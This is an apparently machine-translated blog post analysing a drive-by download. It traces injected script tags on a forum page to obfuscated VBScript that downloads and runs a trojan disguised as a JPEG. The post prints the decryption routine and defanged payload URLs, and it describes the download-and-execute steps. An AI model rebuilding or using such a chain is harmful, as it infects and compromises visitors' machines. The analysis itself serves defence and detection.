Jpgimage or virus Trojan. win32.vb. azc?

EndurerOriginal
1Version

A few days ago, when I opened a forum, Kaspersky reported that the trojan program has been detected.Trojan-Downloader.HTML.Agent.df

Check the first embedded code on the webpage:
/---
<Script language = "JavaScript" src = "hxxp: // 61.146.118.1*1/news ***/include/md5.asp? AD = 1 "> </SCRIPT>
---/

Hxxp: // 61.146.118.1*1/news ***/include/md5.asp? AD = 1The content is:
/---
Document. Write ("<script language =/" javascript/"src = /"");
Document. Write ("hxxp: // www. HA ** v ** eip.com/d?a.asp/"> ");
Document. Write ("</SCRIPT> ");
---/

Hxxp: // www. HA ** v ** eip.com/d?a.aspCode included:
/---
VaR ad_str = "<script language =/" javascript/"src =/" hxxp: // www.blogchina.com/resource/upload?##/pic##/2006/05/05/wpt==8.js/ "> </SCRIPT>"
Setcookie ("my_ad", "yes", 3600, "/"); document. Write (ad_str );}
// -->

Hxxp: // www.blogchina.com/resource/upload?##/pic##/2006/05/05/wpt===8.jsContains Javascript script code. The function is to output VBScript code.

The function of the output VBScript code is to use the custom decryption function.
/---
Function R (k)
S = Split (k ,"@")
T = ""
For I _ = 0 to ubound (s)
T = T + CHR (eval (S (I _)))
Next
R = T
End Function
---/
Decrypt and output the value of variable t.

The value of the decrypted variable t is a VBSCRIPT script. The function is to use Microsoft. XMLHTTP and SCR accept pting. fileSystemObject: Download The wpt8.vbe file and save it as webpnt in the temporary ie folder. VBE, and then use shell. use the ShellExecute method of the Application Object Q.

Wpt8.vbeThe content is a VBScript. The function is to use a custom decryption function.
/---
Function R (k)
S = Split (k ,"@")
T = ""
For I _ = 0 to ubound (s)
T = T + CHR (eval (S (I _)))
Next
R = T
End Function
---/
Decrypt and execute the value of variable t.
The value of the decrypted variable t is a VBScript, which can be downloaded using Microsoft. XMLHTTP, ADODB. Stream, and SCR using pting. FileSystemObject.Hxxp: // 11 **** 8. IMG **. PP ** .sohu.com/images/2007/5/11/1?%%%0/24/11%%%%31%%%1048215.jpgSave it as webpnt.exe in the temporary ie folder and run it through shell. Run.

File Description: D:/test/11311048215.jpg
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 23:30:51
Modification time: 23:29:18
Access time: 23:32:51
Size: 20011 bytes, 19.555 KB
MD5: 4ec141d8dc997f5592821a417fc4850f

This file starts with JPEG file information, but is followed by an EXE file in PE format.
Replies from virus analysts at Kaspersky:

Hello.

This file is not malicious itself and it wouldn't be detected, but it contains new malware that we detectedTrojan. win32.vb. azc.
-----------------
Regards, Alexander romanenko
Virus analyst, Kaspersky Lab.